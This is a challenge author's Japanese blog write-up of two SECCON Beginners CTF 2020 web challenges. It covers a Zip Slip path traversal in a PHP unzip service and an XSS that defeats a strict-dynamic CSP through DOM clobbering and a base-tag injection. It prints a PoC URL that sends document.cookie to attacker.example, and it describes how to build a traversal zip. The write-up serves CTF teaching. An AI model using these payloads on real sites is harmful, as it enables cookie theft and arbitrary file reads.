SECCON Beginners CTF 2020 作問者 Writeup (unzip / Somen)

2020/05/23 - 2020/05/24 で SECCON Beginners CTF 2020 というのを開催しました。 せっかくなのでこの CTF の概要なり、ちょっとした裏話なり、作問者視点 Writeup なりを残しておこうと思います。

SECCON Beginners CTF 2020

SECCON Beginners CTF は SECCON Beginners という初心者向け CTF イベントを開催している団体が 2018 年から開催している CTF です。 初回は 2018 年の 5 月、第二回は 2019 年の 5 月に開催されているので、今年は第三回になります。 もともとこの CTF を始めたきっかけはもうあまり覚えていませんが、今は 「他 CTF の難化傾向を考えると、一定初心者〜中級者向けの腕試しの場があるほうがいいよね」 というのをモチベーションとして大会を開催しています。

今年も問題のクオリティについては結構担保できたかな、と思っています。 これは例年通りです。

そして今年はインフラチームが内向きにも外向きにも色々と活躍していました。 例えば外向きには問題のステータスバッジ (今その問題が解ける状態になっているか?を表すバッジ) の用意や、問題サーバ等のより詳細な情報が閲覧できる Grafana ダッシュボードの公開などを通して、例年より明瞭な CTF 運営を実現してくれていた、とか。

また例えば内向きには GitOps なエコシステムの構築や問題のスケーラビリティ面のサポートをしてくれていたりもしました。 この辺の話に関してはきっとインフラチームがブログに書いてくれると思うので、そちらをぜひお楽しみに。 なおこれらの仕組みは他 CTF でもあまり (ほぼ?) 見るものではないので、本当に評価されるべきだと思います。 手前味噌ですが。

作問者 Writeup

ところで今回の CTF に私が出題したのは「unzip」「Somen」の二問です1。 せっかくなのでこの 2 問の作問者視点からの Writeup も書いてみることにします。

unzip

問題の概要

「unzip」は zip ファイルを受け取り、それを展開して、その中身をダウンロードできるようにしてくれる Web アプリケーションを題材にした問題でした。

問題「unzip」

ヒントとして配布されていたのは以下の PHP スクリプトと docker-compose.yml ファイルです。

<?php
error_reporting(0);
session_start();

// prepare the session
$user_dir = "/uploads/" . session_id();
if (!file_exists($user_dir))
    mkdir($user_dir);

if (!isset($_SESSION["files"]))
    $_SESSION["files"] = array();

// return file if filename parameter is passed
if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

// process uploaded files
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (isset($_FILES["file"])) {
    // size check of uploaded file
    if ($_FILES["file"]["size"] > 1000) {
        echo "the size of uploaded file exceeds 1000 bytes.";
        die();
    }

    // try to open uploaded file as zip
    $zip = new ZipArchive;
    if ($zip->open($_FILES["file"]["tmp_name"]) !== TRUE) {
        echo "failed to open your zip.";
        die();
    }


    // check the size of unzipped files
    $extracted_zip_size = 0;
    for ($i = 0; $i < $zip->numFiles; $i++)
        $extracted_zip_size += $zip->statIndex($i)["size"];

    if ($extracted_zip_size > 1000) {
        echo "the total size of extracted files exceeds 1000 bytes.";
        die();
    }

    // extract
    $zip->extractTo($user_dir);

    // add files to $_SESSION["files"]
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $s = $zip->statIndex($i);
        if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
            $_SESSION["files"][] = $s["name"];
        }
    }

    $zip->close();
}
?>

<!-- 以降省略 -->
version: "3"

services:
  nginx:
    build: ./docker/nginx
    ports:
      - "127.0.0.1:$APP_PORT:80"
    depends_on:
      - php-fpm
    volumes:
      - ./storage/logs/nginx:/var/log/nginx
      - ./public:/var/www/web
    environment:
      TZ: "Asia/Tokyo"
    restart: always

  php-fpm:
    build: ./docker/php-fpm
    env_file: .env
    working_dir: /var/www/web
    environment:
      TZ: "Asia/Tokyo"
    volumes:
      - ./public:/var/www/web
      - ./uploads:/uploads
      - ./flag.txt:/flag.txt
    restart: always

目標を設定する

この 2 ファイルを大雑把に眺めると、以下の 3 つがわかります。

  • この問題は nginx コンテナと php-fpm コンテナの 2 つのコンテナからなるアプリケーションであること
  • PHP スクリプトは php-fpm コンテナで実行されるであろうこと
  • フラグが入っていそうなファイルが php-fpm コンテナの /flag.txt にマウントされていること

そしてこれらを総合して考えると、この問題における目標は「/flag.txt を PHP スクリプトに存在する脆弱性を利用してなんとか読み出すこと」である、と推測することができます2

脆弱性を探しながら方針を決める

さて、無事やるべきことが定まったので、今度はこのような目的を達成するのに使えそうなコード片がないかを探してみることにします。 すると次のあたりが目に付きます。

if (isset($_GET["filename"]) && is_string(($_GET["filename"]))) {
    if (in_array($_GET["filename"], $_SESSION["files"], TRUE)) {
        $filepath = $user_dir . "/" . $_GET["filename"];
        header("Content-Type: text/plain");
        echo file_get_contents($filepath);
        die();
    } else {
        echo "no such file";
        die();
    }
}

もし $filepath の値が自由に制御できるのであれば、file_get_contents($filepath) の箇所がフラグの読み出しに使えそうですね。 そして$filepath の値を制御するためには $_GET["filename"]、すなわち GET パラメータの filename をいじってやればいいことがわかります。

考察

しかし問題として、file_get_contents($filepath) が呼ばれる箇所に到達するためには、$_GET["filename"] が次の条件を満たす必要があります。

  1. is_string($_GET["filename"]) が Truthy であること
  2. in_array($_GET["filename"], $_SESSION["files"], TRUE) が Truthy であること

このうち 1 つめの条件から、この問題が $_GET["filename"] に配列を渡すことによって異常な挙動を起こす類の問題でないことがわかります3

そしてこのうち 2 つめの条件からは $_SESSION["files"] なる配列の中に $_GET["filename"] の値が含まれなくてはならない、ということがわかります。 つまり $_GET["filename"] の値を悪意のあるものにしてフラグを読み出すためには、それに対応する値が $_SESSION["files"] なる配列に含まれておらねばならないのです。

したがって次に見るべきは $_SESSION["files"] が以下にして作られているのか、というところです。 見てみましょう。

// add files to $_SESSION["files"]
for ($i = 0; $i < $zip->numFiles; $i++) {
    $s = $zip->statIndex($i);
    if (!in_array($s["name"], $_SESSION["files"], TRUE)) {
        $_SESSION["files"][] = $s["name"];
    }
}

この箇所を見るとアップロードした zip ファイルの中に含まれるファイル名が重複チェックの後に $_SESSION["files"] に追加されていることがわかります。

したがって悪意のある名前を持ったファイルを zip アーカイブの中に含めてやればfile_get_contents($filepath)$filepath 部分を制御することができ、最終的には任意のファイルが読み出せるようになることになります。 そして実際にそのような悪意のある zip アーカイブが作れることは「zip path traversal」のようなワードで Google 検索をすると分かります。 これで方針は立ったので、あとはソルバを書いてあげるだけです。

ソルバを書く

まとめるとこの問題の解法は以下となります。

  1. ../../../../flag のような名前のファイルを含んだ zip アーカイブを作成し、アップロードする
  2. (php スクリプト)?filename=../../../../flag にアクセスする

悪意のある zip ファイルの生成については、自力でバイナリをいじってもいいですし、プログラムを書いたりしてもいいです。 またいい感じにそのような zip を生成してくれるツールが GitHub に転がっていたりします。 ぜひこの辺りは自分で調べてみてください。

作問裏話と今後の学習の指針

この問題は所謂 Zip Slip と言われる脆弱性を題材にしたものです。 また今回は難易度 Easy としてこの問題を公開したのですが、これは以下のような考えによります。

  • これはソースコードをしっかり読んでもらえれば、フラグの位置から逆算して脆弱な箇所 (path traversal が発生しうる箇所) を特定できるだろう。
  • 脆弱な箇所が特定できれば、そのために与えるべき入力の生成も、調べながらであればできるだろう。

またこのレベルくらいで、かつソースコードがある Web 問題の場合、

  • 大抵の場合はちゃんとフラグを得るために通るべきパスが逆算できている
  • 怪しい箇所が見えている

場合には、あとはパズルの要領で解いていくことができます。

このうち「どこが怪しいか」を見抜くためには知識が必要なので、もし path traversal に気がつけなかったという場合には、今後 Web アプリケーションの基礎的な脆弱性を学ぶところから始めるとよいのかな、と思います4

もし path traversal には気がついていたけれども、最終的な答えにたどり着かなかったという場合には、問題の条件をできるだけ丁寧に整理するように意識付けるといいかもしれません。

事故のお詫び

この問題についてははじめ docker-compose.yml を配布するのを忘れており、フラグファイルの位置 (/flag.txt) を推測しないと解けない問題になっていました。 これは完璧に私の落ち度です。

このような自体になっていることに気がついた頃には、既に 10 チームがこの問題を解いてしまっていました。 この場合普通の CTF のオペレーションとしては「追加配布しない」というのが妥当な状況です。 これは後から追加のヒントを配布することで、既に面倒な推測 (Guessing) の末答えにたどり着いた 10 チームにとって不利な状況が生まれてしまうためです。

しかし今回の CTF は Prize があるわけでも Finals につながっているわけでもありませんでした。 それに今回はあくまで腕試しの場として提供する、というのが根底の目的意識としてありました。 これらを鑑みて、最終的には追加のファイルを配布するという対応をとりました。 Guessing の末解いてくださった 10 チームの皆様には大変申し訳ございません…。

ここからは裏話ですが、僕はこの CTF 開催の前日、「配布ファイルには気をつけてね!」と全体にリマインドしていたりもしました。 なのでもちろん自分自身配布予定のファイルが正しいものになっていることは確認していたのですが、そもそも今回は配布予定に含めることすら忘れてしまっていたので、当然前日のチェックでの確認が漏れてしまった、という。

いやあ、ブーメラン。盛大なブーメランです。

ブーメランの様子

Somen

問題の概要

Somen はクライアントサイドで動く占い Web アプリケーション(?) です。

Somen

ヒントとしては以下の 2 ファイル (index.phpworker.js) が配布されました。

<?php
$nonce = base64_encode(random_bytes(20));
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='");
?>

<head>
    <title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

    <script src="/security.js" integrity="sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A="></script>
    <script nonce="<?= $nonce ?>">
        const choice = l => l[Math.floor(Math.random() * l.length)];

        window.onload = () => {
            const username = new URL(location).searchParams.get("username");
            const adjective = choice(["Nagashi", "Hiyashi"]);
            if (username !== null)
                document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
        }
    </script>
</head>

<body>
    <h1>Best somen for You</h1>

    <p>Please input your name. You can use only alphabets and digits.</p>
    <p>This page works fine with latest Google Chrome / Chromium. We won't support other browsers :P</p>
    <p id="message"></p>
    <form action="/" method="GET">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>
    <hr>

    <p> If your name causes suspicious behavior, please tell me that from the following form. Admin will acceess /?username=${encodeURIComponent(your input)} and see what happens.</p>
    <form action="/inquiry" method="POST">
        <input type="text" name="username" place="Your name"></input>
        <button type="submit">Ask</button>
    </form>

</body>
const puppeteer = require('puppeteer');

/* ... ... */

// initialize
const browser = await puppeteer.launch({
    executablePath: 'google-chrome-unstable',
    headless: true,
    args: [
        '--no-sandbox',
        '--disable-background-networking',
        '--disk-cache-dir=/dev/null',
        '--disable-default-apps',
        '--disable-extensions',
        '--disable-gpu',
        '--disable-sync',
        '--disable-translate',
        '--hide-scrollbars',
        '--metrics-recording-only',
        '--mute-audio',
        '--no-first-run',
        '--safebrowsing-disable-auto-update',
    ],
});
const page = await browser.newPage();

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

// access
// username is the input value of players
const url = `https://somen.quals.beginners.seccon.jp/?username=${encodeURIComponent(username)}`;
try {
    await page.goto(url, {
        waitUntil: 'networkidle0',
        timeout: 5000,
    });
} catch (err) {
    console.log(err);
}

// finalize
await page.close();
await browser.close();

/* ... ... */

目標を設定する

この問題に関してもまずゴールを設定するところから始めましょう。 全体を眺めてみると、worker.js の以下の辺りにフラグらしきものが存在することが分かります。

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

したがってこの問題のゴールはこの Cookie をリークすることである、という推測ができます。 (ところで僕の不手際で、process.env.DOMAIN がこの後どこにも登場しないので、この意図は少々わかりにくいですね。 反省しています。)

脆弱性を探しながら方針を探る

このようなゴールを達成するための攻撃としては HTTP Desync Attack や ESI Injection のようなミドルウェアが絡んでくる攻撃や XSS 攻撃が代表的です。 ただこの中だと XSS 攻撃が最も一般的な手法だと言えるので、一旦ここからは XSS 脆弱性が無いかどうかを調べてみると、次のようなコードが目に付きます。

const choice = l => l[Math.floor(Math.random() * l.length)];

window.onload = () => {
    const username = new URL(location).searchParams.get("username");
    const adjective = choice(["Nagashi", "Hiyashi"]);
    if (username !== null)
        document.getElementById("message").innerHTML = `${username}, I recommend ${adjective} somen for you.`;
}

おっと、ここには典型的な DOM-based XSS 脆弱性がありそうです。 username 変数の値、すなわち new URL(location).searchParams.get("username") (GET パラメータの username) の値が任意にコントロールできるため、自由な値を innerHTML に代入することができるのです。

また以下の箇所にも自明な Reflected XSS 脆弱性があることが分かります。

<title>Best somen for <?= isset($_GET["username"]) ? $_GET["username"] : "You" ?></title>

ただこれらの脆弱性を使っても容易に Cookie をリークすることはできません。 その理由は 2 つあります。

  • Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A=' なる CSP ヘッダが設定されている。
  • ページ中でロードされている security.js が次のようなロジックにより GET パラメータ username の値に制限をかけている。
const username = new URL(location).searchParams.get("username");
if (username !== null && ! /^[a-zA-Z0-9]*$/.test(username)) {
    document.location = "/error.php";
}

考察をする

したがってここから考えるべきことは以下の 2 つです。

  • CSP をどうにかしてバイパスすること。
  • security.js による制限をバイパスすること。

まずこのうち CSP のバイパスについて考えてみましょう。 いま CSP ヘッダを睨んでやると、script-src による制限が非常に restrictive なものであることが分かります。 しかしここにある strict-dynamic ディレクティブは既に実行を許可されている JavaScript から挿入された non-“parser-inserted” な script タグ要素の動作を許可するというものです。 したがってもしこの Web アプリケーションの中で non-“parser-inserted” な script タグを作ることができるのであれば、この CSP はバイパスすることができます。

そこで活用できるのが先述の Reflected XSS 脆弱性と DOM-based XSS 脆弱性です。 いま GET パラメータ username として </title><script id="message"></script> のような値を挿入したとしましょう。 すると先程の Reflected XSS 脆弱性が存在した箇所は、およそ以下のような形になります。

<title></title><script id="message"></script></title>

HTML としての構造は壊れていますが問題ありません。 そしてこのとき、もし security.js による制限が無いとしたら、DOM-based XSS の箇所においては この挿入した script タグの innerHTML に対する代入 が発生します。 この場合は CSP の strict-dynamic ディレクティブのおかげで、代入した文字列が JavaScript として解釈され、よしなに実行されてくれます。 document.getElementById("message") の指す先をタグの挿入により変更し (DOM Clobbering)、その挿入先を script タグとすることで、この CSP はバイパスできるのです。

一方 security.jsusername の値を ^[a-zA-Z0-9]*$ の範囲で制限するものなので、これを素直にバイパスするのは難しそうです。 そこで security.js/security.js が相対パスでロードされていることから、<base>タグを挿入することを考えてみます。 いま先程のペイロードと併せて、<base href="https://gomi.example"> を GET パラメータ username に含めてみることにします。 すると Reflected XSS 脆弱性が存在した箇所は以下のようになります。

<title></title><script id="message"></script><base href="https://gomi.example"></title>

するとその後に登場する /security.js のロードの際には、この base タグで指定された URL ベースが用いられるようになります。 <script src="/security.js" ...> におけるスクリプトロードの際に、ブラウザが https://gomi.example/security.js にアクセスしにいくように仕向けることができるのです。 これにより /security.js のロードを失敗させることができるので、当然このスクリプトによる制限をバイパスすることができます。

ここまでを大雑把にまとめると、次のようになります。

  • 今回の問題の CSP は DOM Clobbering と strict-dynamic ディレクティブをうまく使うことによりイパスできる。
  • 読み出しを失敗させることにより security.js による制限をバイパスすることができる5

ソルバを書く

したがって、最終的な PoC は以下のようになります。

https://somen.quals.beginners.seccon.jp/?username=document.location=`http://attacker.example/?q=${encodeURIComponent(document.cookie)}`;%20//%20%3C/title%3E%3Cscript%20id=%22message%22%3E%3C/script%3E%3Cbase%20href=%22http://example.com%22%3E

シンプルですね。

作問裏話

SECCON の Web ページでのアナウンス にも記載があるのですが、今回はビギナー向けの問題 (Beginner, Easy タグがついた問題) の他に、一定数中級者向けの問題も用意していました。 AtCoder の ABC (AtCoder Beginner Contest) でいう E 問題・F 問題あたりを意識した枠、というと直感的かもしれません。

本 CTF は主に日本の CTF 初心者〜中級者を対象とした CTF です。そのため近年の一般的な CTF ではほぼ見かけない初心者向けの簡単な問題も一定数出題される予定です。これを機に CTF を始めたいという方や、最近 CTF を始めた方は、ぜひそれらの問題をお楽しみください。 またそれと同時に、上級者でも少し頭を悩ませるような、若干難易度が高めの問題の出題も予定しています。何度か CTF に参加したことがある方は、ぜひそれらの問題を腕試しとしてご活用いただければと思います。

また今回は中級者向け問題の一部は ボス問 的な立ち位置として、かなり難しいものとなっていました。Web ジャンルの場合だと Somen がボス問でした。 なのでこれが解けないと脱初心者できないということは勿論ありません。 逆にこれが解けるなら、他の海外 CTF でもちゃんと問題を解くことができるだろう、と言えるレベル感の問題であると言えます。

  1. もっともこの手の問題は私っぽい (?) 作りになっているので、わかる人にはわかるかもしれません。そもそも僕っぽくない問題ができたら別の CTF で出しちゃう問題がある。悲しいね。 

  2. このように先にゴールを確認しておくことは、ソースコードが与えられないことも多い Web 問題を解いていく上で、非常に大切なことです。 

  3. この手の攻撃は Type Juggling とも呼ばれます。この問題は Type Juggling を利用して解くことはできませんが、他の問題を眺めるときには必ず考慮しておくべきでしょう。 

  4. ただ別に全てを知らなくとも、条件を丁寧に整理していくことで「これがこうなってくれないと、この問題は解けないだろう」というところまで落とせれば、あとは執念深く Google 検索をしたり手元で環境を再現して遊んであげることで答えに近づいていくはずです。多分一定自分の知識に自信がついてくると (僕は自信などないが)、この辺の判断が早くなっていいき、結果問題の本質に近づくスピードも早くなるんだろうなと、周りのプレイヤーを見ていて思います。 

  5. かつてはこの手の攻撃として XSS Auditor を利用したもの等がありました。しかし最近 (もう最近でもないかなあ) XSS Auditor は Chrome から削除されてしまったため、この手法は使えません。 

Written on May 24, 2020